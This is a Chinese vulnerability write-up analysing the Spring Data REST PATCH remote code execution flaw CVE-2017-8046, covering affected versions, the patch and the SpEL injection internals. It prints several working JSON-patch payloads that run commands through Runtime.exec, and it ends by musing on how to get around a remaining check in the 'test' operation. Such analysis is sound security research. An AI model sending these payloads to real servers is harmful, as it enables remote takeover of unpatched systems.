Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析

1 综述

近日,Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。官方已经发布了新版本修复了该漏洞。

相关地址:
https://pivotal.io/security/cve-2017-8046

受影响的版本

  • Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot version < 2.0.0M4
  • Spring Data release trains < Kay-RC3

不受影响的版本

  • Spring Data REST 2.5.12, 2.6.7, 3.0RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

解决方案
官方已经发布了新版本修复了该漏洞,受影响的用户请尽快升级至最新版本来防护该漏洞。

参考链接:
https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/

2 补丁分析:

从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当,导致任意表达式执行从而导致的RCE。
首先来看下补丁,主要是evaluateValueFromTarget添加了一个校验方法verifyPath,对于不合规格的path直接报异常退出,主要是property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该Field是否存在于bean中。
1

3 复现:

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples,找到spring-rest-data这个项目,直接用IDEA一步步导入进去即可,直接运行就能看到在本地的8080端口起了jetty服务。但是请注意这编译好的是最新版本,要引入漏洞,当然得老版本,修改pom.xml,添加plugin,具体如下:

1
2
3
4
5
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-rest-webmvc</artifactId>
<version>3.0.0.RC2</version>
</dependency>

从项目test目录找到相关请求形式,发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。测试poc的效果如下:
2

这个poc的几个关键点在于:Content-Type: application/json-patch+json,path路径一定得用斜杠/隔开,至于为什么,后续会讲到。op支持的操作符很多,包括test,add,replace等都可以触发,op不同,path中添加的poc可以不一样,如op为test时就少了很多限制。如下是op为add时候的请求body。

1
[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]

执行ping 192.168.3.106

3 分析:

漏洞的触发过程详细分析见文档:https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA,这里已经描述的比较清楚,在这里不再重述,这篇文档后续的分析主要是对poc的一些解读。
随便拿一个以前spring表达式注入的poc作为path的参数值,如poc:

1
2
[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})"
}]

这个请求的特别之处在于path字段值后边没有了斜杠。
会报如下错误:

1
2
3
4
5
6
7
8
9
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148)
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416)
at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148)
at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48)
at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64)
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91)
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83)
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200)

说明path参数确实被污染,此处存在表达式注入漏洞,虽然已经进入表达式的执行流程,但是这里却报错退出。离RCE还差一步,查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法

1
2
3
4
5
@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
throw new SpelEvaluationException(getStartPosition(),
SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}

这个方法直接抛出异常,那看来poc离执行还有一段距离。直接调出setValue的实现,发现有五个地方重写了该方法。SpelNodeImpl的setValue也在其中,但是它是直接抛出异常的,算一个异常检查吧。查看他们的实现,只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在执行表达式。
3

查看相关文档得知 CompoundExpression是复杂表达式,用.连接起来的都算。
Indexer一般是这么表示test[xxlegend],那么可以把poc改成

1
2
[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]"
}]

这也是可以运行的。再看调用栈也是符合我们刚才理解到
SpelExpression.setValue–》
CompoundExpression.setValue–》
CompoundExpression.getValueRef–》
Indexer.getValueRef–》
PropertyOrFieldReference.getValueInternal–》
PropertyOrFieldReference.readProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

前面都是讲path参数,也就是表达式的写法。在这个poc中还用到op参数,op表示要执行的动作,在代码中定义了add,copy,from,move,replace,test这么多操作值,add,test,replace可直接触发漏洞,并且test非常直接,path参数值无需斜杠/,[]来分割,poc如下:

1
2
[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))"
}]

很明显这个poc的path参数值无线跟/ []来分割参数。原因就是它调用的是SpelExpression.getValue,而非test情况下的poc最终调用的都是SpelExpression.setValue,通过setValue调用getValueRef来达到表达式注入。
下面看看test的调用栈:
4
这个点官方也没修,但是有个限制:

1
2
3
4
5
6
7
8
9
10
@Override
<T> void perform(Object target, Class<T> type) {
Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
Object actual = normalizeIfNumber(getValueFromTarget(target));
if (!ObjectUtils.nullSafeEquals(expected, actual)) {
throw new PatchException("Test against path '" + path + "' failed.");
}
}

evaluateValueFromTarget运行在前,会报错退出,导致getValueFromTarget不会被执行,怎么绕过去呢?值得思考。